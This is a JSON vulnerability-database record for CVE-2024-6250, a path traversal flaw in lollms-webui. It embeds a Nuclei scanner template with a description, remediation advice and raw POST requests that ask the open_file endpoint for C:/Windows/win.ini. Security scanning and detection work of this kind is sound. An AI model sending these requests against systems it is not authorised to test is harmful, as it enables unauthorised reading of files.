{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-6250/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-6250/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-6250/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-6250/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-6250/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-6250"},"sightings":{"href":"/api/v1/sightings/cve-2024-6250"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-6250.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-6250\n\ninfo:\n  name: LOLLMS WebUI - Absolute Path Traversal\n  author: ritikchaddha\n  severity: high\n  description: |\n    An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.\n  impact: |\n    Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.\n  remediation: |\n    Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.\n  reference:\n    - https://huntr.com/bounties/11a8bf9d-16f3-49b3-b5fc-ad36d8993c73\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-6250\n    - https://github.com/parisneo/lollms-webui\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-6250\n    epss-score: 0.01941\n    epss-percentile: 0.802\n    cwe-id: CWE-36\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: lollms\n    product: lollms_web_ui\n  tags: cve,cve2024,lollms,lfi,traversal,ai,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /open_file HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"path\": \"C:/Windows/win.ini\"}\n\n      - |\n        POST /api/open_file HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"path\": \"C:/Windows/win.ini\"}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"bit app support\", \"[fonts]\", \"[extensions]\")'\n          - 'contains(content_type, \"text/plain\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a004730450221008c462f9c702baaa26dfbcb8ad11aa29f6af21d83c302746a04d07e61acfabfff0220716037cb76f023b36cd0a057d55206c5f4743355c98f82e8eb1e2e32e9ed604b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-6250"}